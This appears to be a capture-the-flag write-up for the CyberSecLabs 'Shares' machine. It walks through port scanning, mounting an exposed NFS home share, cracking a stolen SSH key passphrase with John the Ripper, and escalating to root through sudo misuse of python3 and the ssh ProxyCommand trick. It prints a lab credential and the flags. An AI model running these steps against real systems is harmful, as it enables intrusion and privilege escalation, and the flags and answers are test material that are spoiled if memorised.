

# SHARES

SHARES - 172.31.1.7 - CYBERSECLABS

=====

Starting with nmap scans; sudo nmap -sC -sV -oN nmap/shares.init 172.31.1.7, sudo nmap -p- -oN nmap/shares.all 172.31.1.7

Ports Open:

21 vsftpd 3.0.3  
80 Apache httpd 2.4.29 Ubuntu  
111 rpcbind 2-4  
2049 nfs\_acl 3 RPC #100227  
27853 ssh openssh 7.6p1 ubuntu  
33765 closed  
37607 closed  
42445 closed  
60353 closed

Start running dirbuster on port 80 in the background while poking around with rpcbind and nfs.

showmount -e 172.31.1.7 gives us;  
/home/amir \*.\*.\*

Possible user; Amir (?)

Mounted share with; sudo mount -t nfs 172.31.1.7:/home/amir /home/amir -o nolock

```
lugosi@boy /mnt/shares/.cache
shares .cache 1 motd.legal-displayed
.gnupg 1
.ssh 4
.bash_history 0
.bash_logout 220 B
.bashrc 3.7 K
.profile 807 B
.sudo_as_admin_successful 0
.viminfo 7.53 K
```

Got ssh keys in .ssh folder!

```
lugosi@boy /mnt/shares/.ssh
shares .cache 1 authorized_keys
.gnupg 1 id_rsa
.ssh 4 id_rsa.bak
.bash_history 0 id_rsa.pub
.bash_logout 220 B
.bashrc 3.7 K
.profile 807 B
.sudo_as_admin_successful 0
.viminfo 7.53 K
```

Tried using the id\_rsa.bak file to get shell; ssh -i id\_rsa.bak amir@172.31.1.7 -p 27853

No luck

Tried changing permissions (still can't remember offhand what they should be)

No luck

Tried to ssh2john them.

/usr/share/john/ ssh2john.py id\_rsa.bak > hash

```
ran john against it
john -wordlist=/usr/share/wordlists/rockyou.txt hash
success!
SSH CREDENTIALS:
amir:hello6
```

Run `sudo python3 -m pyftplib -p21 -write on on host and connect on ssh to get linpeas`

linpeas and `sudo -l` shows us;

```
Matching Defaults entries for amir on shares:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:

User amir may run the following commands on shares:
  (ALL : ALL) ALL
  (amy) NOPASSWD: /usr/bin/pkexec
  (amy) NOPASSWD: /usr/bin/python3
```

we can execute commands as amy from amir with `sudo -u`  
`sudo -u /usr/bin/python3 -c "import os;os.system('/bin/bash')"`

```
amir@shares:/home$ sudo -u amy /usr/bin/python3 -c "import os;os.system('/bin/bash')"
amy@shares:/home$ whoami
amy
```

now that we're amy we can get user hash

```
amy@shares:/home/amy$ cat access.txt
dc17a108efc49710e2fd5450c492231c
```

then running `sudo -l` as amy we can see

```
amy@shares:/home/amy$ sudo -l
Matching Defaults entries for amy on shares:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:

User amy may run the following commands on shares:
  (ALL) NOPASSWD: /usr/bin/ssh
```

so checking gtfobins again, we find the ProxyCommand option can get us a shell

```
amy@shares:/home/amy$ sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
access.txt
# cd /root
# ls
system.txt
# cat system.txt
b910aca7fe5e6fcb5b0d1554f66c1506
#
```

YATTA